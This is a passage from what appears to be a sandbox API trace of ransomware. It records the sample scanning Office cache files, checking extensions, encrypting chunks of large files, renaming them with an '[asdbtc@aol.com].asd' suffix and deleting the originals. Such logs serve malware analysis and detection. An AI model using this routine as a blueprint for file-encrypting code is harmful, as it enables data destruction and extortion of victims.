4 [0061.220] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.220] lstrlenW (lpString=".docx") returned 5 [0061.220] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0061.220] lstrlenW (lpString=".pdf") returned 4 [0061.220] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.220] lstrlenW (lpString=".xls") returned 4 [0061.220] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.220] lstrlenW (lpString=".xlsx") returned 5 [0061.220] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0061.220] lstrlenW (lpString=".ppt") returned 4 [0061.220] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.220] lstrlenW (lpString=".zip") returned 4 [0061.220] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.220] lstrlenW (lpString=".rar") returned 4 [0061.220] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.220] lstrlenW (lpString=".bz2") returned 4 [0061.220] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.220] lstrlenW (lpString=".7z") returned 3 [0061.220] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.220] lstrlenW (lpString=".dbf") returned 4 [0061.220] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.220] lstrlenW (lpString=".1cd") returned 4 [0061.221] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.221] lstrlenW (lpString=".jpg") returned 4 [0061.221] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.221] lstrlenW (lpString=".doc") returned 4 [0061.221] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.221] lstrlenW (lpString=".docx") returned 5 [0061.221] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0061.221] lstrlenW (lpString=".pdf") returned 4 [0061.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.221] lstrlenW (lpString=".xls") returned 4 [0061.221] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.221] lstrlenW (lpString=".xlsx") returned 5 [0061.221] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0061.221] lstrlenW (lpString=".ppt") returned 4 [0061.221] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.221] lstrlenW (lpString=".zip") returned 4 [0061.221] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.221] lstrlenW (lpString=".rar") returned 4 [0061.221] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.221] lstrlenW (lpString=".bz2") returned 4 [0061.221] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.221] lstrlenW (lpString=".7z") returned 3 [0061.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.222] lstrlenW (lpString=".dbf") returned 4 [0061.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.222] lstrlenW (lpString=".1cd") returned 4 [0061.222] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.222] lstrlenW (lpString=".jpg") returned 4 [0061.222] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.222] lstrcmpiW (lpString1=".dll", lpString2=".asd") returned 1 [0061.223] lstrlenW (lpString="osetup.dll") returned 10 [0061.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0061.260] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=7378792) returned 1 [0061.260] CloseHandle (hObject=0x188) returned 1 [0061.280] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0061.280] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.280] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0061.281] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0061.281] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0061.281] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.281] ReadFile (in: hFile=0x188, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.312] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.312] ReadFile (in: hFile=0x188, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.322] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0061.322] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.322] ReadFile (in: hFile=0x188, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.632] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.632] WriteFile (in: hFile=0x188, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0061.648] SetEndOfFile (hFile=0x188) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0061.652] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.652] WriteFile (in: hFile=0x188, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.654] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.654] WriteFile (in: hFile=0x188, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.656] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.656] WriteFile (in: hFile=0x188, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0061.658] CloseHandle (hObject=0x188) returned 1 [0061.659] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0062.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.564] lstrlenW (lpString=".doc") returned 4 [0062.564] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.564] lstrlenW (lpString=".docx") returned 5 [0062.564] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0062.564] lstrlenW (lpString=".pdf") returned 4 [0062.564] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.564] lstrlenW (lpString=".xls") returned 4 [0062.564] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.564] lstrlenW (lpString=".xlsx") returned 5 [0062.564] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0062.565] lstrlenW (lpString=".ppt") returned 4 [0062.565] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.565] lstrlenW (lpString=".zip") returned 4 [0062.565] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.565] lstrlenW (lpString=".rar") returned 4 [0062.565] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.565] lstrlenW (lpString=".bz2") returned 4 [0062.565] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.565] lstrlenW (lpString=".7z") returned 3 [0062.565] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.565] lstrlenW (lpString=".dbf") returned 4 [0062.565] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.565] lstrlenW (lpString=".1cd") returned 4 [0062.565] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.565] lstrlenW (lpString=".jpg") returned 4 [0062.565] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.565] lstrlenW (lpString=".doc") returned 4 [0062.565] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.565] lstrlenW (lpString=".docx") returned 5 [0062.565] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0062.566] lstrlenW (lpString=".pdf") returned 4 [0062.566] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.566] lstrlenW (lpString=".xls") returned 4 [0062.566] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.566] lstrlenW (lpString=".xlsx") returned 5 [0062.566] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0062.566] lstrlenW (lpString=".ppt") returned 4 [0062.566] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.566] lstrlenW (lpString=".zip") returned 4 [0062.566] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.566] lstrlenW (lpString=".rar") returned 4 [0062.566] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.566] lstrlenW (lpString=".bz2") returned 4 [0062.566] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.566] lstrlenW (lpString=".7z") returned 3 [0062.566] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.566] lstrlenW (lpString=".dbf") returned 4 [0062.566] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.566] lstrlenW (lpString=".1cd") returned 4 [0062.566] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0062.566] lstrlenW (lpString=".jpg") returned 4 [0062.566] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.567] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0062.567] lstrlenW (lpString="VisiorWW.cab") returned 12 [0062.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 16 os_tid = 0x98c [0040.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x38c06a0 [0040.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x38d06a8 [0040.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5603f8 [0040.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5630c0 [0040.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560410 [0040.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3ca0020 [0040.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560428 [0040.252] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560428, Size=0x20) returned 0x58f8f8 [0040.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560428 [0040.252] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560428, Size=0x20) returned 0x58f920 [0040.252] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0040.253] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0040.253] Wow64DisableWow64FsRedirection (in: OldValue=0x317ff58 | out: OldValue=0x317ff58*=0x0) returned 1 [0040.253] lstrlenW (lpString="kernel32.dll") returned 12 [0040.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f8f8 | out: hHeap=0x510000) returned 1 [0040.253] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f920 | out: hHeap=0x510000) returned 1 [0040.253] Sleep (dwMilliseconds=0x64) [0040.535] Sleep (dwMilliseconds=0x64) [0041.555] Sleep (dwMilliseconds=0x64) [0041.829] Sleep (dwMilliseconds=0x64) [0041.987] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0041.987] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0041.987] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.309] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=1450) returned 1 [0042.309] CloseHandle (hObject=0x1a0) returned 1 [0042.309] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0042.309] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.310] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.310] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.310] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.310] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0042.310] GetLastError () returned 0x0 [0042.310] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0042.319] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0042.320] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.320] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0042.320] SetEndOfFile (hFile=0x1a4) returned 1 [0042.320] CloseHandle (hObject=0x1a4) returned 1 [0042.321] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.321] SetEndOfFile (hFile=0x1a0) returned 1 [0042.322] CloseHandle (hObject=0x1a0) returned 1 [0042.322] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.323] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0042.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.323] lstrlenW (lpString=".doc") returned 4 [0042.323] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.323] lstrlenW (lpString=".docx") returned 5 [0042.323] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.323] lstrlenW (lpString=".pdf") returned 4 [0042.323] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.323] lstrlenW (lpString=".xls") returned 4 [0042.323] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.323] lstrlenW (lpString=".xlsx") returned 5 [0042.323] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.323] lstrlenW (lpString=".ppt") returned 4 [0042.323] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.323] lstrlenW (lpString=".zip") returned 4 [0042.323] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.323] lstrlenW (lpString=".rar") returned 4 [0042.323] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.323] lstrlenW (lpString=".bz2") returned 4 [0042.323] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.323] lstrlenW (lpString=".7z") returned 3 [0042.323] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.323] lstrlenW (lpString=".dbf") returned 4 [0042.324] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.324] lstrlenW (lpString=".1cd") returned 4 [0042.324] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.324] lstrlenW (lpString=".jpg") returned 4 [0042.324] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.324] lstrlenW (lpString=".doc") returned 4 [0042.324] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.324] lstrlenW (lpString=".docx") returned 5 [0042.324] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.324] lstrlenW (lpString=".pdf") returned 4 [0042.324] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.324] lstrlenW (lpString=".xls") returned 4 [0042.324] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.324] lstrlenW (lpString=".xlsx") returned 5 [0042.324] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.324] lstrlenW (lpString=".ppt") returned 4 [0042.324] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.324] lstrlenW (lpString=".zip") returned 4 [0042.324] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.324] lstrlenW (lpString=".rar") returned 4 [0042.324] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.324] lstrlenW (lpString=".bz2") returned 4 [0042.324] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.324] lstrlenW (lpString=".7z") returned 3 [0042.324] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.324] lstrlenW (lpString=".dbf") returned 4 [0042.325] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.325] lstrlenW (lpString=".1cd") returned 4 [0042.325] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0042.325] lstrlenW (lpString=".jpg") returned 4 [0042.325] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.325] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.325] lstrlenW (lpString="Setup.xml") returned 9 [0042.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: 